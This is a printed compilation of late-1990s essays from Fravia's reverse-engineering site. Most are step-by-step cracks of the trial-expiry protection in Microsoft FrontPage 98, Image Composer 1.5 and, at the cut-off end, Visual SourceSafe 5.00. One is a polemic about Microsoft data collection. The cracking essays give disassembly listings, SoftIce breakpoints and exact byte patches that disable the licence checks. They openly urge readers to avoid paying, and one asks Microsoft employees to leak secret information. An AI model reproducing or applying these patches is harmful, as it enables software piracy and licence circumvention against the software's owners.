E89A760000 Call 67B50E6C ;MFC42:NoName0103, Ord:09D2h :67B497D2 5F pop edi :67B497D3
5E pop esi :67B497D4 C3 ret not very informative ha? I backtraced to the caller in
the editor (not through Softice, through the dead code) and found the activator...
here it is: Exported fn(): ExpFn0115() Ord:0074h :67B2CC60 55 push ebp :67B2CC61 8BEC
mov ebp, esp :67B2CC63 81EC50010000 sub esp, 00000150 :67B2CC69 53 push ebx :67B2CC6A
33DB xor ebx, ebx :67B2CC6C 381D6B54B567 cmp byte ptr [67B5546B], bl :67B2CC72 56
push esi :67B2CC73 57 push edi :67B2CC74 750B jne 67B2CC81 :67B2CC76 891D6054B567 mov
dword ptr [67B55460], ebx :67B2CC7C E941020000 jmp 67B2CEC2 Well, I added
"fp30cutl.dll" to the exports list of Softice and
restarted my system.
I put a breakpoint on fp30cutl.!ORD_0074 and let the babe run.
Nothing happened. No bp popup. Gee! hat was wrong?
Well... I put a memory RW breakpoint at [67B5546B] and now! Look! it pops!
I played a little with the code, and wow! a system error dialog appeared,
saying "This copy of Microsoft FrontPage has been modified in a way which
is in violation of the license aggreement".

Nice! We are getting somewhere!

I studied the code and found no CRC, nor any similar checking.
It was because of comparing fixed memory locations.
However, it's getting late 05:30 in the morning, the cracking session
was heavy... sorry for the short climax, but that's all, the rest you'll
understand yourselves...

I will not dwelve into the details of date checking and other comparisons
(put 1990 in EAX, add 7 find 1997 etc) let's crack it stright on.

The suspect culprit is the jump below:


:67B2CC74 750B jne 67B2CC81

Patching the values of BX in order to get some correct flags after the
comparison makes you Micro$oft_guilty.

http://www.instinct.org/fravia/epic2.htm (2 of 3) [2/7/2001 3:23:00 PM]


epic2

Study the code piece above.


Therefore, quite simply...

LETS IGNORE THE JUMP, REPLACE IT WITH 40 48

Ok. Thats all folks. I'm fast ha? :=). BTW, with this patch, all other
components will run smoothly.

Best wishes, Epic Lord, epic@lords.com.

Thank you Fravia+

note: I do not claim any right for this essay :=)


(c) Epic Lord 1997. No rights whatsoever reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

project 9
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/epic2.htm (3 of 3) [2/7/2001 3:23:00 PM]


siulhack2

THE TROJAN HORSE RACE'S JUST STARTED


(An appell to Micro$oft's slaves)

by SiuL Hacky

(15 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Well, this is actually not a crack, nor a reverse engineering exercise... it's more an INVITATION to a crack and
to a very interesting reverse engineering exercise that we all ought to perform... Micro$oft (and many others)
are indeed more and more heavily monitoring, all our software and hardware activities (all human activities if
we follow master +ORC's slaves of the supermarket essay). Let's strike back, and hard, through our sublime
reverse engineering knowledges... AT WORK! This will be a full-fledged +HCU 1998 project: WHAT ARE
THEY GATHERING WITHOUT ASKING US? (Orwell's world? Just say no :-)

THE TROJAN HORSE RACE'S JUST STARTED


=====================================

Indeed my dear friends, the great race against anonymity is starting.


But, once more, there will be no fair play, Bill has bought off all
the competitors.

Microsoft hunger for controlling the market is only disturbed by its


hunger for controlling the people.
Rather interesting, a turning "software to political" . Perhaps in the
next elections Microsoft will openly support one of the candidates,
just wait ...

Well, I have in front of me the NEW version of the microsoft internet


implorer.
Huge and overbloated, as usual, this beta version (which should be
alfa version BTW) is a good example for showing you the "software to
political" turning.
I wouldn't even think to install it, but let's have a look at
the readme.txt of its spanish version.
Amazing, a 58K file of plain ASCII full of bug notes and compatibility
problems. I picked this very important phrase:

- Asegzrese de estar conectado a Internet antes de ejecutar el

http://www.instinct.org/fravia/siulha2.htm (1 of 4) [2/7/2001 3:23:03 PM]


siulhack2

programa de instalacisn.

... it is

- Make sure you are connected to Internet before starting the installation
program.

Of course, in some other instructions for the installation you are told
not to interrupt the installation process, otherwise you may not recover
all the information previous to the installation.
Wow, we must trust Microsoft goodwill.
What happens actually during the installation process? Who knows?
I didn't check it out, but remember WINDOWS 95 REGISTRATION WIZZARD
(aka "online registration"):

( .. taken without permission from an article by Andrew Schulman)

"Of special concern is RegWiz's ability to collect information on


applications (both Microsoft and non-Microsoft) that a user has
installed on their hard disk, and to send this information back
to Microsoft via the Microsoft Network (MSN). As explained
below, the internal name for this process is "Product Inventory":
it is a feature of the PRODINV.DLL module included with Win95."

You thought it was impossible. Remember we are in 1995, when Microsoft


was "out of the Net", trying to sell its failure project MSN to the
world. Now the Net has grown, unfortunately the beast and its hunger have
grown too.

This background process dores not look for "statistical information", like
a kind of software poll, it does search for 100 specific applications from
Microsoft and its competitors (included our beloved Microsoft Money,
and its Payment BILLS :-). Come on, look and find if w95 warned you about
this activity.
As Schulman points out, the key of this action is that Microsoft uses
again his privileged position (selling its platforms) against
its own clients, which are competitors in the software applications
market; and this in an almost (if not completely) illegal way.
Just like the old soup of the "undocumented functions" that +orc warned us
about.
Read the rest of the article, it's a good essay. We could entitle it
as: "Registration wizard reverse engineer, the dirty details".

That's what Microsoft does when it has free-way to communicate with "the
head office". So trust them.
"This online registration is specially appropriate to upgrade Ms.
Office", and such preposterous (and false) things you could read.

http://www.instinct.org/fravia/siulha2.htm (2 of 4) [2/7/2001 3:23:03 PM]


siulhack2

I repeat it was in 1995, so imagine what Int. Explorer can do with the
Internet link. But Int. Explorer is just a front-end for the new Microsoft
projects.
You'll see that the vicious aspect of doing things without asking, or,
better formulated, to do things that "normal stupid user" cannot and will
not understand nor investigate, does not stop here.
Do you know that when installing Office 97 (just a couple of megabytes :-)
the w95 kernel is modified ? Imagine: hundreds and hundreds of new
undocumented functions added without noticing you about this...

BTW, I have a particular theory about the dawn of Windows 95:


Some light-years far from Earth, Bill Gates is invited to an
interstellar biggot meeting and in one of his
most striking actions, succeed in stealing (once again) the most
advanced quantum OS, but in the return
journey, the OS is affected by nuclear radiations and mutates, so it
started growing and growing out of
control. Finally it stops. When he tested it, back on Earth, he realized
it was something BIG, something
GREAT, something HUGE: THE SLOWEST OPERATIVE SYSTEM ALL OVER THE
UNIVERSE.
Then he snapped: So, we got it... I'm just wondering how we could slow
it down.

So, what are the new trends ? Well there is not so much information
about Microsoft's new spaghetti-code generators (full of new
technologies like ActivePollaX :-), but this is the information I
could pick up:

* The new version of w95, released next year like "Memphis", "win98" or
whatever (who cares) will be offered as an upgrade of Windows 95. Je, je.

* Is Ms decided to make a "toy-upgrade" like win31->win95 ? Probably


not.

* Are they going to allow the upgrade to the millions of copies not
registered (with "online registration" :-DD)? Probably yes, they need
to spread the new product.

* Will we have a partially disabled Windows if not registered ? Very


probably, only name-surname users will be periodically registered.

* If Internet operations are given to this OS, what is gonna happen with
our anonymity ? I don't know my dear Watson.
Now you can imagine which future +hcu projects we need :=).

* The beta version is upgraded continually from Microsoft. Now it is a


(fake)beta version, but it is gonna be a beta version as well in the

http://www.instinct.org/fravia/siulha2.htm (3 of 4) [2/7/2001 3:23:03 PM]


siulhack2

final release.
This is the story: go to Microsoft site where you'll be able to find a
section called "Update Manager" or something ... and then you download
the upgrades, the drivers, and what else ... ?

* The version runs on a i386, YES YOU ARE NOT DREAMING. Bill you're a
genius.

The race has just started, and we have to fight against Bill's horses.
You +hcukers, you readers from the deep deep net, contact us if you have
any answer to these questions or something interesting on the subject.
Knowledge is always the key, and a pretty powerful one for that matter!

Before ending you must know that Microsoft, being consistent with its
staff, control the software they use, checking if it is from the
company. Run away horses!

SiuL Hacky 1997


So, once more, if you are reading this and WORKING FOR MICRO$OFT, consider the eventuality to betray
your masters for the sake of humanity. Be a new Prometheus, a Titan, benefactor to man, instead of a useless
lackey... contact us: send us all hidden or "secret" informations you can put your hands on, help us to destroy
your masters... we'll all be free... and you will as well.

(c) SiuL Hacky 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

Project 9
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/siulha2.htm (4 of 4) [2/7/2001 3:23:03 PM]


syncms1

Cracking Microsoft FrontPage 3.0.1.726


and
Microsoft Image Composer 1.5
(Let's crack Micro$oft to the bones!)
by +Sync

(19 August 1997)


Courtesy of Fravia's page of reverse engineering

Well, another outstanding essay from +Sync! There is a lot of code, here, but everything is clear and you just need to peruse
this essay slowly, tasting quietly Micro$oft's stupidity... gee! I love this section as much as +Sync does!

Cracking Microsoft FrontPage 3.0.1.726 and Image


Composer 1.5

By +Sync

Well, I saw this and I had to jump on it. I can't say how happy
I am to be contributing to the destruction of Micro$oft. They are offering
FrontPage 98 for download on their website.
If you would rather go straight to downloading and skip registering yourself
with Micro$oft then go to:
http://www.microsoft.com/frontpage/download/pick_default.htm
You'll notice very quickly that it is over 20 MB in size.
We are beginning to expect this sort of thing from them.
This crack is very straightforward.
I offer this crack simply so that nobody out there pays a dime to Micro$oft to
use this program, they have enough already. I did not tear out the insides of
the protection, as it was not necessary.
Here is how I did it.
First run the program as usual and see how it behaves. Next set your
system date ahead past the end of the evaluation period. You'll get a
nasty screen telling you that you are out of the evalutation period and that
they would be happy to give you the location of the nearest reseller of the
full version. Then it kicks you out.
Okay, so set your system date back and run again, it still says you're a bad guy.
So it saves the fact that your eval period is over somewhere, probably in the
registry.

http://www.instinct.org/fravia/syncms1.htm (1 of 8) [2/7/2001 3:23:07 PM]


syncms1

At this point I fully intended to trace the registry calls and figure out what
this target was doing there, but it turned out to be unnecessary.
I followed the BMSG approach outlined in +Orc's Lesson 9, with WinIce.
I quickly discovered that the nag window is opened by FP30CUTIL.DLL which is found
in the /BIN directory.
So next, I break out WDASM 8.9 and search for 'expired'.
Bingo, found along with all the rest of the text from the nag window.
Look up from here in the dead listing, and you'll find a conditional jmp, at
67B2CEC9,
which is referenced in two places, 67B2CD1F and 67B2CD28.
So let's look at that code, it's shown below.
Note that the references to 'Expired_FLag' refer to some indicator that you
are beyond your eval period unrelated to the sytem date (but probably in the
registry).

* Reference To: MFC42.MFC42:NoName0197, Ord:0DC1h


|
:67B2CD05 E890430200 Call 67B5109A ;sets AX=1 if Expired_Flag is set
:67B2CD0A 51 push ecx
:67B2CD0B 8B4DEC mov ecx, dword ptr [ebp-14]
:67B2CD0E 8945C4 mov dword ptr [ebp-3C], eax ;Store Expired_Flag in [ebp-3c]
:67B2CD11 8BC4 mov eax, esp
:67B2CD13 8908 mov dword ptr [eax], ecx
:67B2CD15 8D4DD8 lea ecx, dword ptr [ebp-28]
:67B2CD18 E8E9020000 call 67B2D006 ;returns AX=1 if system clock is past
1997
:67B2CD1D 3BC3 cmp eax,ebx ;Is Ax=0 ?
:67B2CD1F 0F85A4010000 jne 67B2CEC9 ;No Jump to Bad Guy Code
:67B2CD25 395DC4 cmp dword ptr [ebp-3C], ebx ;Is Expired_Flag Set ?
:67B2CD28 0F859B010000 jne 67B2CEC9 ;Yes, Jump to Bad Guy Code
:67B2CD2E 51 push ecx
:67B2CD2F 8B4DDC mov ecx, dword ptr [ebp-24]
:67B2CD32 8BC4 mov eax, esp
:67B2CD34 8908 mov dword ptr [eax], ecx
:67B2CD36 8D4DD8 lea ecx, dword ptr [ebp-28]
:67B2CD39 E8C8020000 call 67B2D006 ;Returns AX=1 if system clock is past
1997
:67B2CD3E 3BC3 cmp eax, ebx ;System Date OK? (again)
:67B2CD40 0F846E010000 je 67B2CEB4 ;Yes, jump over bad code
:67B2CD46 8D4DF4 lea ecx, dword ptr [ebp-0C] ;no, let's nag luser
:67B2CD49 E8DE3E0200 Call 67B50C2C ;->MFC42:NoName000
:67B2CD4E 53 push ebx
:67B2CD4F 8D4DEC lea ecx, dword ptr [ebp-14]
:67B2CD52 66895DC8 mov word ptr [ebp-38], bx
:67B2CD56 66895DCA mov word ptr [ebp-36], bx
:67B2CD5A 66895DCC mov word ptr [ebp-34], bx
:67B2CD5E 66895DCE mov word ptr [ebp-32], bx
:67B2CD62 66895DD0 mov word ptr [ebp-30], bx
:67B2CD66 66895DD2 mov word ptr [ebp-2E], bx
:67B2CD6A 66895DD4 mov word ptr [ebp-2C], bx
:67B2CD6E 66895DD6 mov word ptr [ebp-2A], bx
:67B2CD72 E81D430200 Call 67B51094 ;-> MFC42:NoName0196
:67B2CD77 8B4014 mov eax, dword ptr [eax+14]
:67B2CD7A 53 push ebx
:67B2CD7B 056C070000 add eax, 0000076C

http://www.instinct.org/fravia/syncms1.htm (2 of 8) [2/7/2001 3:23:07 PM]


syncms1

:67B2CD80 8D4DEC lea ecx, dword ptr [ebp-14]


:67B2CD83 668945C8 mov word ptr [ebp-38], ax
:67B2CD87 E808430200 Call 67B51094 ;->MFC42:NoName0196
:67B2CD8C 8B4010 mov eax, dword ptr [eax+10]
:67B2CD8F 53 push ebx
:67B2CD90 40 inc eax
:67B2CD91 8D4DEC lea ecx, dword ptr [ebp-14]
:67B2CD94 668945CA mov word ptr [ebp-36], ax
:67B2CD98 E8F7420200 Call 67B51094 ;->MFC42:NoName0196
:67B2CD9D 8B400C mov eax, dword ptr [eax+0C]
:67B2CDA0 6A7F push 0000007F
:67B2CDA2 6880000000 push 00000080
:67B2CDA7 8D4DF4 lea ecx, dword ptr [ebp-0C]
:67B2CDAA 668945CE mov word ptr [ebp-32], ax
:67B2CDAE E845420200 Call 67B50FF8 ;->MFC42:NoName017
:67B2CDB3 50 push eax
:67B2CDB4 8D45C8 lea eax, dword ptr [ebp-38]
:67B2CDB7 53 push ebx
:67B2CDB8 50 push eax
:67B2CDB9 6A02 push 00000002
:67B2CDBB 6800040000 push 00000400
:67B2CDC0 FF15A811B267 Call dword ptr [67B211A8]
;->KERNEL32.GetDateFormatA,
:67B2CDC6 6AFF push FFFFFFFF
:67B2CDC8 8D4DF4 lea ecx, dword ptr [ebp-0C]
:67B2CDCB E88C3E0200 Call 67B50C5C ;->MFC42:NoName0013
:67B2CDD0 53 push ebx
:67B2CDD1 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CDD7 E8B3C70100 call 67B4958F
:67B2CDDC 381D7054B567 cmp byte ptr [67B55470], bl
:67B2CDE2 743D je 67B2CE21
:67B2CDE4 8D4DFC lea ecx, dword ptr [ebp-04]
:67B2CDE7 E8403E0200 Call 67B50C2C ;->MFC42:NoName0005

* Reference to "Your beta version of %1 is going to expire on %2. Now is the"


|
:67B2CDEC 6838080000 push 00000838
:67B2CDF1 8D4DFC lea ecx, dword ptr [ebp-04]
:67B2CDF4 E875220100 call 67B3F06E ;-> fp30cutl.ExpFn0251
:67B2CDF9 8B45F4 mov eax, dword ptr [ebp-0C]
:67B2CDFC 6A02 push 00000002
:67B2CDFE 8945E4 mov dword ptr [ebp-1C], eax
:67B2CE01 8D45E0 lea eax, dword ptr [ebp-20]
:67B2CE04 50 push eax
:67B2CE05 8D8560FFFFFF lea eax, dword ptr [ebp+FFFFFF60]
:67B2CE0B FF75FC push [ebp-04]
:67B2CE0E BE7454B567 mov esi, 67B55474 ;StringData ->"FrontPage 98"
:67B2CE13 8975E0 mov dword ptr [ebp-20], esi
:67B2CE16 50 push eax
:67B2CE17 E872420200 Call 67B5108E ;->MFC42:NoName0195
:67B2CE1C 8D4DFC lea ecx, dword ptr [ebp-04]
:67B2CE1F EB3B jmp 67B2CE5C

* Referenced by a Jump at Address:67B2CDE2(C)


|

http://www.instinct.org/fravia/syncms1.htm (3 of 8) [2/7/2001 3:23:07 PM]


syncms1

:67B2CE21 8D4DFC lea ecx, dword ptr [ebp-04]


:67B2CE24 E8033E0200 Call 67B50C2C ;->MFC42:NoName0005

* Reference "Your evaluation copy of %1 is going to expire on %2. Now is "


|
:67B2CE29 683D080000 push 0000083D
:67B2CE2E 8D4DFC lea ecx, dword ptr [ebp-04]
:67B2CE31 E838220100 call 67B3F06E ;->fp30cutl.ExpFn025
:67B2CE36 8B45F4 mov eax, dword ptr [ebp-0C]
:67B2CE39 6A02 push 00000002
:67B2CE3B 8945E4 mov dword ptr [ebp-1C], eax
:67B2CE3E 8D45E0 lea eax, dword ptr [ebp-20]
:67B2CE41 50 push eax
:67B2CE42 8D8560FFFFFF lea eax, dword ptr [ebp+FFFFFF60]
:67B2CE48 FF75FC push [ebp-04]
:67B2CE4B BE7454B567 mov esi, 67B55474 ;StringData ->"FrontPage
98"
:67B2CE50 8975E0 mov dword ptr [ebp-20], esi
:67B2CE53 50 push eax
:67B2CE54 E835420200 Call 67B5108E ;->MFC42:NoName019
:67B2CE59 8D4DFC lea ecx, dword ptr [ebp-04]

* Referenced by a Jump at Address:67B2CE1F(U)


:67B2CE5C E8073E0200 Call 67B50C68 ;->MFC42:NoName0015
:67B2CE61 8D4DF8 lea ecx, dword ptr [ebp-08]
:67B2CE64 E8C33D0200 Call 67B50C2C ;->MFC42:NoName0005

* Reference "If you would like to find out about resellers in your area, "
|
:67B2CE69 6837080000 push 00000837
:67B2CE6E 8D4DF8 lea ecx, dword ptr [ebp-08]
:67B2CE71 E8F8210100 call 67B3F06E ;->fp30cutl.ExpFn0251()
:67B2CE76 8D45E0 lea eax, dword ptr [ebp-20]
:67B2CE79 6A01 push 00000001
:67B2CE7B 50 push eax
:67B2CE7C 8D8564FFFFFF lea eax, dword ptr [ebp+FFFFFF64]
:67B2CE82 FF75F8 push [ebp-08]
:67B2CE85 8975E0 mov dword ptr [ebp-20], esi
:67B2CE88 50 push eax
:67B2CE89 E800420200 Call 67B5108E ;->MFC42:NoName0195
:67B2CE8E 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CE94 E814C90100 call 67B497AD
:67B2CE99 8D4DF8 lea ecx, dword ptr [ebp-08]
:67B2CE9C E8C73D0200 Call 67B50C68 ;->MFC42:NoName0015
:67B2CEA1 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CEA7 E868010000 call 67B2D014
:67B2CEAC 8D4DF4 lea ecx, dword ptr [ebp-0C]
:67B2CEAF E8B43D0200 Call 67B50C68 ;->MFC42:NoName0015

* Referenced by a Jump at Address:67B2CD40(C)


|
:67B2CEB4 8D4DF0 lea ecx, dword ptr [ebp-10]
:67B2CEB7 891D6054B567 mov dword ptr [67B55460], ebx
:67B2CEBD E8A63D0200 Call 67B50C68 ;->MFC42:NoName0015

http://www.instinct.org/fravia/syncms1.htm (4 of 8) [2/7/2001 3:23:07 PM]


syncms1

* Referenced by a Jump at Address:67B2CC7C(U)


|
:67B2CEC2 33C0 xor eax, eax ;Good guy lands here
:67B2CEC4 E92D010000 jmp 67B2CFF6 ;and jmps again over bad stuff

* Referenced by a Jump at Addresses:67B2CD1F(C), :67B2CD28(C)


|
:67B2CEC9 53 push ebx ;You don't want to be here!
:67B2CECA 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CED0 E8BAC60100 call 67B4958F

So, patching it is simple, we just force to jumps to always indicate the


system dat is ok and Expired_Flag is false. Here is what I did.
Change:
:67B2CD18 E8E9020000 call 67B2D006 ; AX=1 if system clock past 1997
:67B2CD1D 3BC3 cmp eax,ebx ;Is Ax=0
:67B2CD1F 0F85A4010000 jne 67B2CEC9 ;No Jump to Bad Guy Code
To:
:67B2CD18 E8E9020000 call 67B2D006 ; AX=1 if system clock past 1997
:67B2CD1D 3BC3 cmp eax,ebx ;Is Ax=0
:67B2CD1F EB0D jmp 67B2CD2E ;Just Jmp over the crap

Of course there are a million ways you could have patched it, I just
prefer to patch only 1 place in possible.
But this is very nice. Micro$oft was kind enough to put the check into a dll,
so all three executables will run perfectly, now and for forever, and we did not
need to fish out the insides of many of the calls to do it.
That's it, quick and dirty.
Enjoy, and Crack Micro$oft to the bones.

But wait, why stop at just this program.


Go ahead and download Micro$oft Image Composer as well.
It's just as easy, maybe even a little easier. This time let's use
WinIce a little more.
Load up the file IMGCOMP.EXE into Symbol Loader and do a BPX GetSystemTime
(make sure you have loaded the appropriate exports in Winice.Dat).
Then hit F5 and run. When it breaks into SoftIce do a few P Ret's (F12) until
you return to IMGCOMP code. You will be just under the call shown below.

* Referenced by a Jump at Addresses:00416A2E(C), :00416A4C(C), :00416A55(C)


|
:0044ADB1 8B9424E0000000 mov edx, dword ptr [esp+000000E0]
:0044ADB8 6AFF push FFFFFFFF
:0044ADBA 6A00 push 00000000
:0044ADBC 52 push edx
:0044ADBD E889280300 Call 0047D64B ;->MFC42:NoName0316
:0044ADC2 83FE03 cmp esi, 00000003 ;You land Here
:0044ADC5 7D13 jge 0044ADDA
:0044ADC7 6A03 push 00000003

Well, we obviously don't want this call to be made. Looking up, we see
it is referenced by jumps at 3 locations.
So let's fix those three spots so that they do not jump here.

Location 1

http://www.instinct.org/fravia/syncms1.htm (5 of 8) [2/7/2001 3:23:07 PM]


syncms1

:00416A21 E88BE5FEFF Call 00404FB1 ;MFC42:NoName0112


:00416A26 8BF0 mov esi, eax
:00416A28 8B442414 mov eax, dword ptr [esp+14]
:00416A2C 85C0 test eax, eax
:00416A2E 0F857D430300 jne 0044ADB1

Location 2
:00416A45 E89B000000 call 00416AE5
:00416A4A 85C0 test eax, eax
:00416A4C 0F855F430300 jne 0044ADB1

Location 3
:00416A55 0F8D56430300 jnl 0044ADB1

So Let's patch 'em up.

Location 1
Change:
:00416A2E 0F857D430300 jne 0044ADB1
To: 404040484848 inc ax ,inc ax, inc ax, dec ax, dec ax,dec ax

Location 2
Change:
:00416A4C 0F855F430300 jne 0044ADB1
To: 404040484848 same as location 1

Location 3
Change:
:00416A55 0F8D56430300 jnl 0044ADB1
To: 404040484848 same as above

Okay, now run it. You get a nag telling you you have 1 day left of
evaluation.
Well, the program is cracked, but we don't like the nag. Do the same as
above, BMSG on the window handle and P RET back to IMGCOMP code.
You end up at 44AD82 shown below.

* Referenced by only one Jump at Address:00416A6F(C)


|
:0044AD02 8D4C2410 lea ecx, dword ptr [esp+10]
:0044AD06 E8D565FBFF Call 004012E0 ;->MFC42:NoName0089
:0044AD0B 8D4C2424 lea ecx, dword ptr [esp+24]
:0044AD0F C78424CC00000000000000 mov dword ptr [esp+000000CC], 00000000
:0044AD1A E8C165FBFF Call 004012E0 ;->MFC42:NoName0089
:0044AD1F 8B4C242C mov ecx, dword ptr [esp+2C]
:0044AD23 8B44241C mov eax, dword ptr [esp+1C]
:0044AD27 2BC8 sub ecx, eax
:0044AD29 B807452EC2 mov eax, C22E4507
:0044AD2E 81C17F510100 add ecx, 0001517F
:0044AD34 C68424CC00000001 mov byte ptr [esp+000000CC], 01
:0044AD3C F7E9 imul ecx
:0044AD3E 03D1 add edx, ecx
:0044AD40 C1FA10 sar edx, 10
:0044AD43 8BC2 mov eax, edx

http://www.instinct.org/fravia/syncms1.htm (6 of 8) [2/7/2001 3:23:07 PM]


syncms1

:0044AD45 C1E81F shr eax, 1F


:0044AD48 03D0 add edx, eax
:0044AD4A 8BF2 mov esi, edx
:0044AD4C 85F6 test esi, esi
:0044AD4E 7F05 jg 0044AD55
:0044AD50 BE01000000 mov esi, 00000001

* Referenced by a Jump at Address:0044AD4E(C)


|
:0044AD55 8B8C24F0000000 mov ecx, dword ptr [esp+000000F0]
:0044AD5C 51 push ecx
:0044AD5D 8D4C2414 lea ecx, dword ptr [esp+14]
:0044AD61 E88665FBFF call 004012EC
:0044AD66 8B542410 mov edx, dword ptr [esp+10]
:0044AD6A 56 push esi
:0044AD6B 8D442428 lea eax, dword ptr [esp+28]
:0044AD6F 52 push edx
:0044AD70 50 push eax
:0044AD71 E8D97CFBFF Call 00402A4F ;->MFC42:NoName0087
:0044AD76 8B4C2430 mov ecx, dword ptr [esp+30]
:0044AD7A 83C40C add esp, 0000000C
:0044AD7D 6A00 push 00000000
:0044AD7F 6A00 push 00000000
:0044AD81 51 push ecx

* Reference To: MFC42.MFC42:NoName0212, Ord:04B0h


|
:0044AD82 E816280300 Call 0047D59D ;This call puts up NAG
:0044AD87 8D4C2424 lea ecx, dword ptr [esp+24] ;You land HERE

This code is referenced 1 time at 416a6f, as shown below, with the


patch.

Change:
:00416A68 E878000000 call 00416AE5
:00416A6D 85C0 test eax, eax
:00416A6F 0F858D420300 jne 0044AD02
To:
:00416A68 E878000000 call 00416AE5
:00416A6D 85C0 test eax, eax
:00416A6F 404040484848 3 inc eax + 3 dec eax

That's it. Micro$ft Image Composer is now yours forever. Please


continue the fight against Micro$oft, if we do not win - then we all loose.
One final note.
isn't it interesting how these MFC programs, which were written in 'high'
level languages with little or no effort, can be cracked with little or no
effort as well?

+Sync
(c) +Sync 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/syncms1.htm (7 of 8) [2/7/2001 3:23:07 PM]


syncms1

project 9
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/syncms1.htm (8 of 8) [2/7/2001 3:23:07 PM]


twdms98.htm

Cracking MS-FrontPage 98 Beta2


(Is Micro$oft kidding?)

by TWD

(15 October 1997)

Courtesy of fravia's page of reverse engineering

Well, the question posed here by TWD (among others, I had quite a lot of letters about this) is a serious one:
Are our enemies at Micro$oft just 'faking' protections, and in the reality intend to GIVE AWAY FOR FREE
their software in order to destroy all competition?
Well, as you will be able to read more thoroughly in the main project 9 page... WHO CARES WHAT THEIR
'clever' STRATEGIES are... We'll deprotect ALL Micro$oft programs, wherever they appear, whatever they use
as a protection scheme... and if the road to success is to give away for free software, that suits us... good luck
Billy! Either you give it out for free (which is nice) or we'll strip off its protections anyway (wich is also nice).
Of course (cela va sans dire) we will never use your buggy overbloated software... we have not yet been
lobotomised :-)

And now enjoy this quick crack by TWD and mail it to any luser that might eventually contemplate the
possibility to buy FrontPage98... which he would not need anyway, since this target is now given away in its
complete and unprotected version by Micro$oft itself...

Cracking MS-FrontPage 98 Beta2 3.0.1.726

First, sorry for my bad English.

I came to Fravia's page and had a look to the "Anti-Micro$oft"-project.


There were a lot of cracks for the MS-FrontPage. But they were very
long.

Cracking FrontPage is too easy to talk about it.


This protection scheme deserves the next "Stupid protection" - award.

If I know that a program expires after some time, the first thing I do
is to set a breakpoint to "GetLocalTime" using my beloved SoftIce
(ver 3.1) and therefore:

> bpx GetLocalTime


> bl
> 00) BPX KERNEL32!GetLocalTime

Now I start the FP-Explorer.

http://www.instinct.org/fravia/twdms98.htm (1 of 2) [2/7/2001 3:23:10 PM]


twdms98.htm

SoftIce first pops up in the "MSVCRT.DLL", but this is not the right
one.
Than we have breaks at "MSVCRT20.DLL" and the Explorer.
But the fourth time we come back to "MSVCRT.DLL". When we leave the
procedure we come to "MFC42.DLL". and if we leave this procedure too,
we are inside the deep waters of "FP30CUTL.DLL".
The way to accomplishment is long, so we have to
step through some lines of code and come to :

:67B2CD1D 3BC3 cmp eax,ebx


:67B2CD1F 0F85A4010000 jne 67B2CEC9 first jump to the exit
:67B2CD25 395DC4 cmp dword ptr [ebp-3C], ebx
:67B2CD28 0F859B010000 jne 67B2CEC9 second jump to the exit
:67B2CD2E 51 push ecx
:67B2CD2F 8B4DDC mov ecx, dword ptr [ebp-24]

The first jump is used if the time is over. The second jump is used
if FP-Explorer expired some time ago. The only thing to do is to NOP
both jumps or to change the first jump into "jmp 67b2cd2e" and some
other NOPs.
Now FP-Explorer and FP-Editor will work till you delete them.

It is a nice goal to damage Micro$oft, I'm trying this since I'm


cracking. The Micro$oft - protections are too silly to protect a
program.
It took me 3 minutes to crack MS-FP 98 and another 5 to create a
"crack.com".
I think they do not intend to protect really their programs, because
if they would, they would implement much tougher protections.
I conclude that they want to spam the earth with their silly, fat
programs.

(c) by TWD in 1997

mailto : twd.rulez@gmx.net

(c) TWD 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 9

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/twdms98.htm (2 of 2) [2/7/2001 3:23:10 PM]


twd_vss5.htm Cracking Micro$oft Visual SourceSafe 5.00

Cracking Micro$oft Visual


SourceSafe 5.00
Cracking a quite easy timeprotection Microsoft bashing

31 March 1998 by TWD


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
Well, TWD is specialising in Micro$oft bashing, as it seems.
That's very good. I'm a little deceived that so many reversers
ignore totally Micro$oft's awful applications (and silly
protections). This is a MISTAKE! Micro$oft's programs are
extremely overbloated and buggy, yet they are also SOLD and
WIDESPREAD. Let's take account of this simple (if very sad)
reality. Reversing Micro$oft's application is therefore USEFUL
for a series of reasons:
fra_00xx
98xxxx 1) It could be helpful -say for some far-away forgotten study
handle institute in Africa without any money- to have the possibility to
1100 use the SAME (stupid) applications that all other study institutes
NA all over the 'developed' world are (unfortunately) using... excel
PC instead of 1-2-3, so to say: not that it works better (it does not)
nor quicker (it does not), but excel is unfortunately, like it or not,
the de facto 'standard' of these aera of software decadence.
2) We could find -reversing deep and reversing well- some of the
faul TRICKS that the Micro$oft's programmers have hidden
inside their applications in order to get, say, a complete list of the
software running on a given machine, or to delay a little
netscape's browser, or to send to their sites on line some
registration informations without asking you.
Life is but a dream therefore, where there is no dream, there
(TWD) >
is no life - it's your life
Rating (x)Beginner ( )Intermediate ( )Advanced ( )Expert

A very easy crack, but it's a Micro$oft crack. That's worth an essay.

Cracking Micro$oft Visual SourceSafe 5.00


TimeNag - cracking at it's most easy
Written by TWD

Introduction
You wont believe it, but Micro$oft distributes a german developer CD-ROM
With a lot of crap on it, but also with on or two "time-protected" programs.
One of the programs is Visual SourceSafe 5.00

http://www.instinct.org/fravia/twd_ms_.htm (1 of 4) [2/7/2001 3:23:13 PM]


twd_vss5.htm Cracking Micro$oft Visual SourceSafe 5.00

Tools required
Tools I used : - SoftICE 3.22 - IDA 3.7 - UltraEdit 5.0 (just for editing and writing essays)

